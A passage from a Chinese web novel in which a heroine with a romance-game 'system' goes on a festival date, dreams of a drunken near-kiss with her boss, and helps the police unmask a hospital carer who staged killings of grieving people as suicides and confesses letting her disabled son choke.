就算是恋爱游戏,也得讲求个循序渐进吧。
“嗯,那注意安全,别往人多的地方去。”撂下这句话之后,他的身影很快消失在走廊的拐角处。
第176
章
第176章
中心大街上,造型各异的花灯组成一片绚烂的灯海,道路两旁的树上挂满了各式灯笼,光影交错,如梦如幻,瀚海般往夜色深处延绵。
街道上的人群如同奔涌的河流,从四面八方向中心广场汇集。广场上正举行着舞龙表演,金鳞蟠龙在激昂的锣鼓声中盘旋翻滚,昂首摆尾,引起阵阵欢呼。
祝好和温珣并肩站在熙攘的人群之中,嬉闹的孩童举着糖葫芦从身旁穿过,十指相扣的情侣依偎在灯柱下,三五成群的年轻人举着自拍杆合影留念,冬日的冷冽的空气被热闹的气息熏得发烫。
周围鼓乐齐鸣,万头攒动,祝好的思绪却有些飘忽,脑海里不停回闪的是某个失落的背影,连眼前璀璨的灯海都失了焦。
“祝好。”
“嗯?”
直到听到温珣叫她的名字,她才猛然回过神。一转头,就对上了金丝眼镜后那双一贯含着温柔笑意的桃花眼。
“你走神了,在想什么呢?”
祝好不好意思地笑笑:“没什么。你刚刚跟我说话吗?”
“嗯,你还没吃晚饭吧?那边有美食区,要不要过去看看?”
祝好点点头:“好。”
温珣朝她伸出一只手:“人很多,当心不要走丢了。要……拉着我的手吗?”
祝好愣怔片刻,把手伸向他,心跳莫名有些仓皇。
系统响起提示音:“与温珣的好感度+5,获得50积分!”
温珣一如既往贴心,并没有冒昧地紧扣她的十指,只是轻轻虚握住她的手,领着她穿过人群,往美食区走去。
美食区同样热闹非凡,道路两旁临时搭起的摊位延伸至视线尽头,叫卖声此起彼伏,食物的香气飘散在空气中,不断刺激着味蕾。
焦黄的烤饼、热烘烘的烤红薯、香甜的栗子……
花灯虽然好看,但还是美食更有吸引力。祝好很快将刚才那点小心思抛之脑后,拉着温珣穿梭在人海中,流连于一家家摊位前。
很快温珣的手上就多出了几分打包好的点心,看着祝好捧着一份烤饼吃得狼吞虎咽,他忍不住笑出声,温声叮嘱道:“慢点吃,别噎着了。”
“哥哥,姐姐。”
祝好的衣角突然被人轻轻扯了一下,她循声低下头,看到一个穿着红色棉袄、扎着两条马尾辫的小姑娘,扑闪扑闪的大眼睛里写满期待:“哥哥姐姐,尝一尝我妈妈做的梅子酒吧!”
顺着她手指的方向望去,是一家摆卖各种果酒的小摊,与其他热闹的摊点相比显得有些冷清。
温珣蹲下身,略带歉意地朝她笑了笑:“小朋友,我待会儿要开车,不能喝酒。”
“那你可以给姐姐买一杯,很好喝的!”小姑娘急切地想要帮妈妈招揽生意,把央求的目光转向祝好。
祝好略一思忖,笑着对她说了声“好”,跟着她来到小摊前。
摊子上摆着几只玻璃罐子,里面装着不同颜色的酒。看到女儿领来了客人,摊主急忙向他们介绍:“你们好,这些果酒都是我手工酿制的,欢迎品尝。”
祝好指着一只写着“梅子酿”的玻璃罐子问:“这个梅子酿……酒精度多少?”
“这个只有12度,不会醉的。”
祝好想了想,上回不小心喝醉是因为李砚川做的那杯鸡尾酒有40度。
12度的果酒……她应该驾驭得了吧?
应该……吧。
来都来了,现在也不好意思转身离开。祝好说:“那给我来一杯吧。”
摊主喜上眉梢:“好的,我帮你加热一下。”
她把茉莉花、鲜橘子、绿茶和少量清水放进玻璃壶中,加热后再加入一些梅子酿,倒进纸杯里递给祝好:“小心烫。”
祝好小心翼翼地抿了一口,梅子酿酒味不重,口感酸甜,茶香混合着梅子的清香,带着暖意从舌尖蔓延到胃里。
逛完美食区,梅子酿也喝得差不多了。温珣看了下手表,说道:“时间不早了,我送你回家吧。”
回到车里,温珣把空调温度调高,暖烘烘的风驱散了一身严寒。
靠在座椅上吹着暖风,眼皮有些发烫,轻微的困意一阵接一阵漫上来,祝好不知不觉阖上了眼睛。
过了好一会儿,肩膀被轻轻摇晃:“祝好,醒醒,到家了。”
“嗯?”祝好茫然地睁开眼,才发现自己居然在车上睡着了。
温珣失笑:“一杯梅子酿就喝醉了?”
祝好扶着额头,强撑摇摇欲坠的意志,试图强行维护自己的尊严:“我没喝醉,只是太累了。”
温珣没有拆穿她:“行,那你一个人能上楼吗?要不要我送你?”
“当然不用!”虽然脑袋有些沉,但自己走上五楼还是绰绰有余,祝好推门下车,朝坐在车里的温珣摆了摆手:“你回去吧,路上注意安全,晚安!”
温珣柔和地笑笑:“嗯,晚安。”
目送温珣的车尾灯驶远,祝好长舒一口气,松了松脖子上的围巾,转身走进楼道里。
到了五楼,她掏出钥匙打开家门,却见客厅里一片漆黑,只有白眼狼一路小跑出来,竖着鸡毛掸子似的大尾巴跟她撒娇。
她摁开门边的灯,光线在屋里蔓延开来,程述正蜷缩着躺在客厅的沙发上,像是睡着了。
“老大,你怎么不回房间……”祝好脱下围巾和外套挂在门口的衣帽架上,话说到一半,就嗅到空气中一股淡淡的酒精味。
跟刚才香甜的果酒不一样,是麦芽发酵的气味。定睛一看,才发现沙发旁边横七竖八躺着几个啤酒罐。
她走上前推了推程述,问道:“你喝酒了?”
程述闷闷地嗯了一声,不耐烦地翻了个身,把脸朝向沙发靠背。
自从许安宁那件事之后,冰箱里的啤酒都变成了做啤酒鸭的材料,他怎么又突然开始喝酒了,还喝了那么多。
祝好又拍了拍他的肩膀:“你睡这儿也行,但起码盖张毯子吧?”
他把头埋在手臂里,语气硬邦邦的:“别管我。”
嘿,说得谁想多管闲事似的。
虽然知道他看不见,祝好还是忍不住朝他翻了个大大的白眼,起身进他房间,打开柜子翻出一张毯子。
没想到毯子刚盖在他身上,就被他一把扯开:“不用你操心,你去关心你那几个可攻略对象就够了。”
这哪儿跟哪儿啊,莫名其妙的。
祝好恨不得把他从沙发上扯起来捶一顿,但她自己也晕乎乎的,只想赶紧回阁楼睡一觉。
她深吸一口气,强忍着愠怒重新帮程述把毯子盖好,替他掖紧被角,刚要起身离开,手腕却突然被制住,向后倾倒的力道让她顷刻间失去重心,随之而来的是一阵天旋地转。
等她反应过来时,已经被程述的两条胳膊牢牢圈在沙发角落狭小的空间里。
“不是说了让你别管我吗?”程述眼下泛起一片红晕,那双不常流露出情绪的眼睛里,此刻正翻涌着一些祝好从未见过的情愫。
祝好大脑一片空白,仿佛被他的目光钉住,却没把视线移开,只是怔然与他对视:“老大,你、你怎么了?”
程述叹了口气,放缓了声线:“以后别叫我老大了,叫我的名字,可以吗?”
可以是可以,不过他为什么会变得那么有礼貌?
不对,这好像不是礼貌不礼貌的问题,更重要的是,他们究竟为什么会在沙发上保持着这个令人遐想的姿势?
祝好浑身僵硬,头脑发胀,思绪乱成一团,下意识想向后挪动,却发现身后就是沙发靠背,根本退无可退。
她喉咙发干,紧张得口舌都有些不利索了:“老大……程述,你喝醉了。”
程述撑在沙发靠背上的小臂肌肉绷得很紧,声音低哑:“我没醉。”
果然喝醉的人永
远都不会承认自己醉了。
祝好也觉得自己没醉,可反应却变得有些迟钝,头顶天花板开始缓慢旋转,吊灯的光晕在视网膜中拖曳出一道发亮的尾巴。
跟程述的距离实在太近,她听到一阵如擂鼓般跃动的心跳声,却分不清那是自己的,还是程述的。
一时间,两个人都没有说话,只是默然与对方相视。过了好一会儿,祝好才小心翼翼地问:“……那你可以放开我吗?”
程述摇摇头,气息扑在她的面颊上:“不可以。”
“为什么!”
“……因为我醉了,没力气,起不来。”
“你刚刚还说自己没醉!”
程述没理会她的话,眼底似有暗潮汹涌:“祝好,你是不是问过我,会不会假装喝醉了或者意识不清醒,借机亲吻自己喜欢的人,当时我是怎么回答的?”
祝好不明所以,但还是在混沌的思绪中努力回忆他当时的回答:“你说……你不会,你还说……大部分男人的本性都是卑劣的。”
“嗯,大部分男人的本性都是卑劣的。”程述突然自嘲地笑出声:“我本来很自信地以为我不在其中,但我错了。”
没等祝好弄清楚这句话的含义,那双迷离的眼眸却突然靠近,灼热的呼吸擦着她的脸颊而过,停留在耳畔。
她浑身一滞,下意识闭上眼睛。
程述把头靠在她肩窝里,碎发轻蹭她的颈侧,仿佛在克制着什么:“祝好,你可以推开我。”
祝好的双手此刻就抵在程述的胸口上,仅剩的理智告诉她理应将他推开,可身体却不听使唤,迟迟没有下一步的动作。
程述干涩沙哑的声音贴着耳廓传来:“如果你不推开,我就要吻你了。”
剧烈的心跳几乎要让祝好窒息,她分不清此刻要从心口溢出来的情绪是恐惧抑或是期待。
没等到回应,程述似乎当她是默许了,微微颤抖的指腹轻拂过她的侧脸,停留在下颌上,将她的脸转向自己。
呼吸交错间,浑噩的大脑忽然有了片刻清醒,祝好含混又急切地叫着他的名字,将他推离自己。
程述应声猝然拉开距离,沉重的喘息声没有停下,却瞬间将所有晦暗不明的情绪都锁进低垂的眼眸里,像做了什么错事一般低声道:“对不起。”
祝好心里轻轻一动,脑海中忽然浮光掠影地闪过无数记忆的碎片:发高烧的夜晚无数次覆上额头的掌心、狂风暴雨中吐露的心声和秘密、楼顶上相偎看过的焰火……
那些无数次被她忽略的细节化成一帧帧画面,纷繁复杂地从眼前滑过。
她心口一热,倏然生出一种不知从何而起的冲动,抬手环住程述的脖子,任由本能驱使自己在他惊愕的目光中将他拉近……
……
祝好猛地睁眼,噌一下从床上坐起来,先是紧张地转眼扫量周围——是在阁楼里、自己的床上。
紧接着又掀开被子——除了外套之外,其他衣服都还好端端穿在身上。
她还是不放心,披上外套从阁楼一路小跑来到客厅。
客厅很整洁,沙发上没有毯子,地上也没有啤酒罐——幸好,一切真的只是个梦。
她长长地舒了口气,一颗悬着的心终于落地,在餐桌旁坐下,揉了揉发胀的太阳穴,这才发现自己从脸颊到耳尖烫得几乎要烧起来。
要死,怎么会做这样的梦!
居然敢强吻自己的老板,简直是犯上作乱,大逆不道,倒反天罡,罪大恶极!
不对,梦里的程述虽然在最后一刻退缩了,但一开始也是他主动的,这也不全是她的错。
不管是谁先挑起的事端,总之酒精真不是什么好东西。幸亏只是个梦,否则她马上要打开窗子从五楼跳下去。
正胡思乱想着,“咔哒”的开门声突然响起。
祝好仿佛上课开小差时被老师抓包的小学生,唰一下坐直身子,双只手规规矩矩地搭在膝盖上,局促不安地看向门口。
程述关上门,看了她一眼:“醒了?”
语气无波无澜,听不出任何异常。
祝好莫名有些心虚,不敢抬头看他,只是含糊不清地回答:“啊?嗯……醒了。”
程述俯身往白眼狼的脑袋上秃噜了一把,把手里的纸袋放在餐桌上:“去洗漱,来吃早餐。”
祝好哦了一声,一溜烟跑进洗手间里把门锁上,背靠着门做了个深呼吸。
缓了一会儿,她走到镜子前端详着自己,忍不住抬手轻轻碰了碰嘴唇——这真的是个梦吗?如果是的话,这个梦未免也太真实了吧。
沙哑的声音、酒精的味道、炽热的鼻息、滚烫的怀抱,一切都历历在目。梦里的程述跟平时完全不一样,而她也变得一点儿都不像自己。
可如果不是梦的话……不可能,一定是梦!毕竟这么离谱的事情,只有在梦里才会发生。
好了,不能再想了。
祝好打开水龙头,把一掬刺骨的冰水泼到脸上,等大脑稍稍清明了一些才从洗手间出来。
餐桌上放着热好的饭团和牛奶,祝好若无其事地坐下,伸手想抽张纸巾擦脸,指尖却不小心与程述的手碰在一起。
一瞬间,梦里那些旖旎的片段又在脑海中闪过,她触电般把手收回,尴尬地咳了两声。
程述抽出一张纸巾递给她,看似随意地问了句:“怎么魂不守舍的,昨晚没睡好吗?”
祝好晃了晃脑袋,试图把那些乱七八糟的想法甩出去:“嗯……做了个噩梦。”
“噩梦?什么噩梦?”
祝好随口胡诌:“没什么,就是梦到……差点儿被丧尸给啃了。”
程述一愣,向她投去一个意味深长的眼神:“丧尸?”
祝好不想就这个问题深究下去,赶紧岔开话题:“对了,医院那边有结果了吗?”
第177章
程述嗯了一声:“还没,不是说了要24小时吗,这才过了一晚上。”
昨天晚上警方才刚刚联系医院,得到反馈之后也还要花时间核实,再怎么也得等到明天早上才有结果。
也就是说,今天一整天她都是空闲的。
祝好撑着下巴,苦恼地叹了口气。
看她这个反应,程述觉得好笑:“警局又不给你发工资,你那么积极干什么?把两个杯子拿去洗了。”
祝好没说话,拿着两个空杯子进了厨房。
她当然不是真的想要去警局,但昨晚那个梦给她留下了深深的阴影,现在只要和程述共处一室,脑袋里就总是不合时宜回忆起梦里迤逦的细枝末节。
她亟需做点别的什么来分散自己的注意力。
水龙头的水哗哗流着,祝好正看着杯中晃荡的水面游思妄想,身后突然漫来一股毫无保留的体温,带着熟悉的沐浴露香气,惊得她头皮一麻,下意识猛地转过身,手中带着洗洁精泡沫的半杯水顺势泼了出去。
程述后退一步,嘶地抽了口气:“干什么呢?”
他身上的白色T恤被打湿,紧贴在胸膛上,隐隐透出皮肤的颜色。
祝好一愣,尴尬地找补道:“你、你怎么突然靠近?吓我一跳。”
“我就想看看你怎么两个杯子洗了那么久,谁知道你那么不经吓。”
程述皱着眉拎起自己的领口,叹了口气,脱下T恤塞给祝好,同时从她手里接过杯子:“我来洗吧,你帮我把衣服放进洗衣机就行。”
什么人呐,怎么一言不合就开始脱衣服!
祝好赶紧别开视线,两只手指捻着他递过来那件半湿的衣服,逃也似的离开了厨房。
把衣服扔进阳台的洗衣机里,摁下启动键后,老式洗衣机哼哧带喘地工作起来。
祝好趴在栏杆上吹了会儿冷风,直到浑身一片僵冷,飘忽的思绪才终于慢慢沉淀下来。
祝好,冷静点。不就是个梦吗?自己怎么能那么轻易被一个梦影响呢?
这样下去不行,必须得想个办法。
《孙子兵法》里说过:知己知彼,百战不殆。要战胜敌人,首先要了解敌人。
她想起程述之前放在阁楼那些书里有一本《梦的解析》,不过上回大扫除时,连书带书架都被他搬回自己房间了。
虽然他说过,他不在房间时可以随便进去,但祝好还是问了一嘴:“老大,我能不能进你房间拿本书?”
程述已经换好了衣服,正倚在沙发上给白眼狼梳毛。不知这句话里的哪个字眼让他眉头微微蹙起,随即又若无其事地点点头:“嗯,去吧。”
祝好推开他的房间门,从书架上找到了自己想要的那本书,刚要离开,突然想到了什么,做贼心虚地往门外看了一眼。
程述仍是坐在沙发上帮白眼狼梳毛,似乎对房间里的动静并不在意。
祝好把书放在他床上,蹑手蹑脚打开他的衣柜——里面确实有张毯子,虽然跟梦里那张长得一模一样,不过叠得整整齐齐,不像是用过的样子。
她松了口气,关上衣柜门,拿着书离开了房间。
回到阁楼里,她用被子蒙着脑袋,随手翻开书页,目光落在其中一行字上。
“梦代表的往往是不加掩饰的‘欲望的满足’,让我们偶窥自我最深、最隐秘的底层。
梦是通往潜意识的桥梁,它通过象征、隐喻等方式表达了在清醒状态下被压抑或忽视的愿望、恐惧和冲突。“(注)
什么乱七八糟的,难道昨晚那个离谱的梦是她内心真实想法的反映?
怎么可能嘛,简直是胡说八道。
祝好嗤笑了一声,接着往下看。
“梦反映的是我们自己不愿承认的事情,所以被指责为骗人的谎言,但这种指责毫无道理。”(注)
祝好:……
她“啪”地把书合上:一派胡言!再也不相信什么“梦的解析”了!
*
第二天早上,警方的调查终于有了新的进展。
几份文件一字排开摆在会议室的桌上,这都是医院按要求查询到的的病人资料。
这几位病人中,有两位患有先天性心脏病,剩下几位分辨患有遗传性溶血性贫血、遗传性痉挛性截瘫和先天性肌肉萎缩。
这几位患者都是半年内去世的,去世时的年龄都在23岁至40岁不等。
根据他们的推断,凶手的孩子很有可能跟钟正平的儿子小武一样,需要有人长时间陪伴和护理。
先天性心脏病和遗传性溶血性贫血虽然会引起严重并发症,但患者的生活基本能自理,至少不需要人寸步不离照顾,所以可以先将这三位患者排除。
剩下两位患者分别是患有遗传性痉挛性截瘫的索泽阳,和患有先天性肌肉萎缩的聂丹。
先天性肌肉萎缩一般表现为全身肌肉无力、关节松弛、癫痫以及呼吸功能不全等。
遗传性痉挛性截瘫的主要特征则是进行性的双下肢痉挛性肌无力,肌张力增高,还可能伴有小脑性共济失调、感觉障碍、痴呆、生长发育迟滞、耳聋、肌萎缩、自主神经功能障碍等。
也就是说,这两位患者更符合程述的侧写。
资料上显示,自从聂丹去世后她的父母就搬离了淮江市,回到乡下老家居住,因此基本可以排除他们的作案嫌疑。
一名警员盯着索泽阳的照片看了好半天,突然开口:“这个人我好像有点印象,他前几年是不是上过电视新闻来着?”
有人应和:“对对对,好像是。我记得他妈妈几十年如一日照顾他,很辛苦的。”
秦聿风眉头一皱,嘱咐技术员:“小孙,把那则新闻找出来。”
技术员应了一声,手指在键盘上飞快敲击,很快找到了当年的新闻。
新闻标题是《为母则刚,单亲妈妈悉心照料先天残疾儿子三十余年》,里面的主人公正是索泽阳和他的母亲索晓兰。
索泽阳三岁那年,突然控制不住自己的双腿、无法行走,索晓兰把他送进医院检查后,被诊断出复杂型的遗传性痉挛性截瘫。
随着年龄的增长,索泽阳的病越来越严重,最后发展至除了痉挛性截瘫外,还伴有癫痫和肌萎缩,智力也远远跟不上同龄人。
简而言之,他成了一个几乎需要人24小时贴身照料的病人。
照顾这样一位病人,有着常人无法想象的困难,可索晓兰却坚持了三十多年,一直对他不离不弃,令人动容。
这则新闻当时在淮江市引起了很大轰动,许多人都被他们的故事深深感动,在大家的努力下,淮江市第一医院也对索泽阳进行了接诊,并为他制定了康复训练计划。
新闻里还附上了一张母子俩的合影,照片里坐在轮椅上的索泽阳从样貌上看已是个成年人,但由于疾病导致的生长发育迟缓以及长年卧床,他的四肢纤细且扭曲。
而站在他身侧的索晓兰面对镜头脸上带笑,但笑容里却透着一股无法掩饰的疲惫。
*
淮江市第一医院。
索泽阳生前的主治医师把照片还给秦聿风,说道:“索泽阳啊,我当然记得了。他患的这种遗传病十分罕见,所以我对他印象很深刻。”
祝好问:“索泽阳的死因是什么?并发症吗?”
主治医师摇摇头:“他是被自己的痰呛死的。”
祝好不可置信:“人有可能会被痰呛死吗?”
主治医师:“正常人基本不会,但遗传性痉挛性截瘫的患者吞咽功能会受损,导致咳嗽能力减弱、排痰能力下降,如果痰液不及时排出,可能阻塞气管、引发窒息。”
说着叹了口气:“那天索泽阳被送进急诊的时候,脸色绀紫,已经没有生命体征了,虽然我们极力抢救,但还是无济于事。”
“我记得当时索阿姨哭得不行,一直央求医生一定要救他,在场好多人都忍不住落泪了。”说话的是负责根据医嘱指导索泽阳进行各种功能训练的护士。
先天性痉挛性截瘫无法治愈,只能通过专业训练帮助他们改善生活质量。索泽阳生前,几乎每个周都会由索晓兰推着轮椅,将他送到医院进行康复训练。
秦聿风转向护士:“你对索晓兰有什么印象?”
护士略一思索,答道:“她人挺好的,很和善,虽然照顾儿子很辛苦,但她一直都是笑眯眯的,对医院里的医生和护士也很友好,不过……”
见她欲言又止,祝好追问:“不过什么?”
“我也不知道是不是我想多了,有一回索泽阳可能身体不舒服,不太愿意配合康复训练,索阿姨的脸色突然变得很难看,一直用一种很奇怪的眼神盯着他。”
“什么样的眼神?”
护士搓了搓自己的手臂,小声说道:“我也说不出来,就是有些阴森森的,好像很厌烦……总之,跟她平时完全不一样。”
祝好忽然想起新闻里的那张合影中,索晓兰面对镜头时一脸疲惫的苦笑。
身为一个母亲,她不可能不爱自己的儿子,但三十多年如一日照顾生活无法自理的儿子,或许早就将她的爱和耐心消磨殆尽。
新闻带来的关注,更是成为压倒她的最后一根稻草。
在大众面前,她必须保持一个完美、坚强、无私的形象,可不知从何时开始,“母亲”这个角色所需要承担的责任也变成了让她无法喘息的负担。
索泽阳去世之后,她的生活出现了巨大的变化,不再需要围着生病的儿子连轴转,肩上的担子一松,她反而无法适应了,心理也在这样的落差中悄然发生改变。
这会是她杀人的动机吗?
第178章
立春刚过,冬日的余寒尚未散尽,但丝丝缕缕的春意已悄然蔓延开来。
秦聿风站在车附近的背风处点了一支烟,给手下的警员打去电话,交代他们去索晓兰家把她带回警局。
祝好的视线从窗外穿着病号服嬉戏打闹的孩童身上收回,在后视镜里对上了程述的目光,心一凛,赶紧慌张地低下头,却还是被程述捕捉到了。
程述忽然开口叫她:“祝好。”
“嗯?”
“你这两天怎么回事?”
祝好一怔,佯装茫然地啊了一声:“我怎么了吗?”
“你一直在躲着我。”
他甚至没有用上“好像”“似乎”这样的词,语气十分笃定。
祝好干巴巴地笑了一下:“哪有。”
他反问:“没有吗?”
祝好硬着头皮:“没有。”
话刚落音,就看到驾驶座上的程述突然转过身,一只胳膊朝她伸来。她下意识偏头躲开,戒备的目光跟他停滞在半空的手对峙片刻,才后知后觉自己避嫌的举动实在太过明显。
程述毫不介怀地收回手,从车门旁边的储物箱里拿了瓶矿泉水,拧开瓶盖喝了一口,看似随意地问道:“是因为那个梦吗?”
“什么梦?”
“你被丧尸追着啃的梦。”程述从后视镜里朝她挑眉笑了笑:“你梦里的那个丧尸,该不会是我吧?”
祝好一时噎住,没说话——除了沉默,她也实在不知道该说些什么来回应。
程述懒洋洋地吐出一口
气:“放心吧,就算我变成丧尸,在咬你之前,也会先经过你的同意。”
这话听着怎么就这么奇怪呢。
没等祝好咂摸出其中的意味,副驾驶的车门就被拉开了。
秦聿风坐进车里,捡了个话尾:“咬什么?你们是不是饿了,我知道附近有家面馆还不错,先去吃个午饭吧。”
程述嗯了一声,系上安全带启动了车子,仿佛刚才的事完全没发生过。
医院周围的餐馆很多,秦聿风说的那家面馆就在其中。这家店面积不大,只有三五张桌子,不过这时饭点已过,店里只有寥寥几个客人。
秦聿风挑了张靠近角落的桌子坐下,把菜单推到祝好面前,示意她先点自己想吃的。
祝好随意点了碗鸡蛋面,又把菜单还给秦聿风。秦聿风没问程述的口味,自顾自给他点了和自己一样的牛肉面,又点了几份小炒。
等上菜的期间,秦聿风说道:“我让人查过了,索泽阳去世后,索晓兰的确去看过心理医生,不过只去了两次就没再去了。两个月前,她开始在淮江市第一医院从事护工的工作。”
因为常年照顾瘫痪的索泽阳,索晓兰积累了丰富的经验,加上性格热情温和,想请她帮忙照顾病人的家属数不胜数。
医院里每天都在上演悲欢离合,她不停在医院各个角落里搜寻那些或是黯然伤神、或是悲痛欲绝的人,并用自己的经历敲开他们的心扉。获得信任后,再以“自杀”的方式带他们“脱离苦海”。
菜很快上来,三碗面两份小炒,摆了满满一桌。
程述抽了一双筷子搅拌碗里的面条,尝了一口,皱起眉头:“老秦,你对‘不错’的标准是不是有点儿低?”
又问祝好:“祝好,我做的面好吃多了吧?”
祝好夹起一筷子面尝了一口,味道还行,但跟程述做的比起来确实差了点,于是敷衍地点了点头。
秦聿风恨不得用筷子把程述的舌头拧断,翻了个白眼:“你怎么不大声点,我担心老板听不到。”
程述探头往后厨瞥了一眼:“听到又怎么了,一我说的是实话,二他也打不过我。”
秦聿风懒得跟他掰扯,不耐烦地用筷子敲了敲他的碗沿:“行了,程大厨。正好警局食堂的阿姨这个月要退休,到时我介绍你进去。”
面吃到一半,秦聿风的手机忽然响了。
他摁下接听键听了一会儿,挂断了电话,先是问祝好:“祝好,你吃饱了吗?”
这家面馆的面虽然味道一般,不过分量很足,面碗差点比祝好的脸还要大。祝好本来也不饿,才吃了三分之二就已经撑得不行了,连忙应道:“吃饱了。”
秦聿风点点头,叫来面馆老板结了账。等老板离开后,才说:“找到索晓兰了,她家里还有个年轻女孩,已经一起带回局里了。”
*
等他们回到警局时,跟索晓兰一起被带回来的女孩坐在接待室里,正神情激动地向接待她的警员解释着什么。
秦聿风敲了敲门,接待室的警员从里面走出来,跟他打招呼:“秦队。”
秦聿风点了下头算是回应,问道:“这女孩什么情况?”
警员回答:“当时她就在索晓兰家里,说是索晓兰请她去做客。”
他拿出一张纸递给秦聿风:“我们赶到时她正在写这个,现在不管我们怎么说她都认为是我们抓错人了,还说索晓兰不可能做这种事情。”
祝好凑上前,纸上是一封手写信,大致内容是女孩不小心怀孕了,出于某种原因不能将孩子留下来,字里行间满是悲伤和不舍,跟之前在受害者家找到的那些“遗书”一模一样。
程述插话:“索晓兰人呢?”
警员:“已经在审讯室里等着了。”
索晓兰,52岁,三十多年前经人介绍与丈夫结婚,次年便怀孕,生下了一个白白胖胖的儿子。本以为这是幸福生活的开始,不曾想这一切都在索泽阳被确诊患上遗传性痉挛性截瘫后被无情地打碎。
后来索晓兰才从医生那里了解到这是一种家族遗传性疾病,丈夫为了传宗接代,自私地向她隐瞒了自己的家族遗传史,并抱着侥幸心理生下了儿子。
当索泽阳的病确诊后,丈夫曾试图偷偷丢弃这个孩子,是索晓兰疯了一样将他找回来,并执意与丈夫离了婚。
从那之后,索泽阳就成为了她生活的轴心,她没有朋友、没有娱乐、更没有了期盼和渴望,那乏善可陈的生命中的日日夜夜、柴米油盐、喜怒哀乐,全都围着索泽阳一个人转。
至于她有没有后悔过当初的决定,或许只有她自己才知道。
坐在审讯室里的索晓兰跟新闻照片里的并无两样,花白的头发整整齐齐地束在脑后,身着一件深红色的棉袄,袖口上戴着自己缝制的碎花袖套。
从面容上看,她长得十分和善,脸上一直带着温和的笑容,怎么看都无法和“连环杀手”这样的词汇联系起来,难怪可以轻而易举获得受害者的信任。就拿刚才那个女孩来说,她宁愿相信警察抓错了人,也不愿相信只见过两次面的索晓兰是个连环杀人犯。
秦聿风翻看完手上的资料,刚要抬脚走进审讯室,肩膀却被程述一把薅住:“我去吧。”
“你?”秦聿风顿住脚步,有些不可置信:“你不是不喜欢做这个吗?”
“是不喜欢。”程述透过单向玻璃看着索晓兰:“不过有个推测,我想证实一下。”
秦聿风没吭声,把手里的文件拍进他怀里,算是默许了。
审讯室的门“咔哒”一声被推开,警员回头看了程述一眼,起身给他让了位置。
程述拉过椅子,一言不发地坐在索晓兰面前,饶有兴趣地地打量着她。
对于他审视的目光,索晓兰即没有躲闪,也没有流露出任何惶恐,反而微微笑着跟他打招呼:“小伙子,你好,请问可以给我倒杯水吗?”
程述转头朝警员使了个眼色,警员会意,用一次性纸杯打了一杯水放在小桌板上。
索晓兰喝了一口水,轻轻叹了口气:“你们找错人了,我已经跟你的同事解释过了。”
“你们抓错人了”这句话几乎每天都会出现在审讯室里,但索晓兰的目光真诚,语气恳切,没有一丝狡辩的意味,反而像在陈述一个事实。
程述从文件袋里拿出几张照片,摆在小桌板上:“这四个人,你认识吗?”
索晓兰低头看着那些照片,脸上的神色没有任何变化,坦然地承认:“认识,这是方晴,这是柯盛,这是玉珍。还有这个,这是老钟。”
程述直勾勾地盯着她:“你杀了他们吗?”
索晓兰微微皱眉,好似真心实意地诧异了一下:“怎么会呢?我没有杀他们,我是在帮助他们。”
程述顺着她的话问下去:“你为什么要帮助他们?”
索晓兰往后靠了一些,目光中流露出一丝怜悯:“因为……他们需要我的帮助。”
这是句没什么逻辑的车轱辘话,但程述没就这个问题继续追问,转而问道:“你是怎么帮助他们的?杀了他们吗?”
“我没有杀人。”索晓兰义正严辞地强调:“他们想要摆脱痛苦,却又没有勇气迈出那一步,我真的只是在帮他们。”
程述换了种问法:“所以你在他们的饮料里下了药,把他们带进房间,点燃煤炭,关进门,帮助他们迈出了那一步,对吗?”
见程述终于“理解”了她的意思,索晓兰露出一个欣慰的微笑:“对的,我真的是在帮他们。”
这句话说出来,就相当于她已经供述了杀人的事实,审讯的目的也已经完成,但程述没有停下来的意思。
他接着问:“放在他们身边的那些信,也是你让他们写下的吗?”
索晓兰点点头,眼角忽然滑落一滴泪水:“我能明白他
们的感受,那种没日没夜被思念、自责、悲伤淹没的感受。当他们写下那一字一句时,我就知道他们希望我能将他们从那种痛苦中拯救出来,我必须这么做。”
程述面无表情地听完她的话,淡淡地问:“索晓兰,你‘帮助’的那些人,他们是真的需要解脱,还是你把自己的经历投射到他们身上,将他们视为另一个需要解脱的自己?”
索晓兰一愣,目光微微闪烁:“你在说什么?我当然是在帮助他们解脱,跟我自己……有什么关系?”
“索泽阳是怎么死的?”
听到索泽阳的名字,索晓兰咽了口唾沫,脸色变得有些难看:“泽阳?泽阳的死……是意外。”
“真的是意外吗?”
“是的,是意外。”
程述话锋一转,问道:“你家里有吸痰器吗?”
索晓兰闻言,猛然惶恐地抬起头,双手扭在一起,双唇翕动,却没说话。
程述接着说:“遗传性痉挛性截瘫的患者由于肌肉痉挛和运动控制问题,会存在吞咽和排痰方面存的困难,增加呛咳和误吸的风险,所以,你家里一定会备着吸痰器,对吧?”
“你完全可以在他呛咳的时候就使用吸痰器帮他排痰,可你为什么没有这么做?”
索晓兰的额角渗出一层薄汗:“我、我当时……没注意……”
程述没有给她喘息的机会:“是没注意,还是你在即将使用吸痰器时犹豫了?”
这句话仿佛一道惊雷从天而降,索晓兰脸色惨白,面色呆滞,整个人仿佛石化一般,久久没有说话。
第179章
“如果你不想说,可以写下来。”程述从桌上拿了一支笔和一张纸,推到她面前:“就像刘玉珍、柯盛、方晴和钟正平一样,把你的所有想法宣泄出来。”
索晓兰压抑地抽着气,眼中泛起一层水光,过了许久,才用颤抖的手拿起笔。
程述看着她一笔一顿地写着什么,没有询问,也没有出声催促。静谧在狭小的审讯室中蔓延开来,只有笔尖与纸面摩擦发出细微的沙沙声。
秦聿风手表上的时针转了大半圈时,索晓兰终于搁下笔,颓然地靠在审讯椅里,积久的悲伤忽然决堤。她张大着嘴,却一个音节也发不出,只有眼泪汹涌肆意地流淌。
程述抽了几张纸巾递给她,离开了审讯室,把那张写着密密麻麻文字的纸放在监听室的桌上。
祝好拿起那张纸,目光掠过纸上沉甸甸的字句。
【那口痰卡在泽阳的喉咙里,让他无法呼吸,我赶紧打开吸痰器,刚要把管子插进他的咽部,他却用眼神制止了我。我分明从他眼里看到了绝望和疲倦,仿佛在对我说:“妈妈,我累了,你也累了,不然就到此为止吧。”
泽阳出事之后,我再也没有离开过淮江市。没坐过动车、飞机,十几年没买过一件新衣服,单独离开家的时间从不超过半个小时,甚至连洗澡和上厕所都不敢关门。他就像一根隐形的绳索,把我牢牢拴在房子里,让我无法离开。
每次我看到别人的孩子会跑、会跳,会拉着父母的手出去玩,你不知道我有多羡慕他们……可是泽阳永远只是躺在床上,不能自主排泄,只能吃流食,他甚至不会叫我一声妈妈。
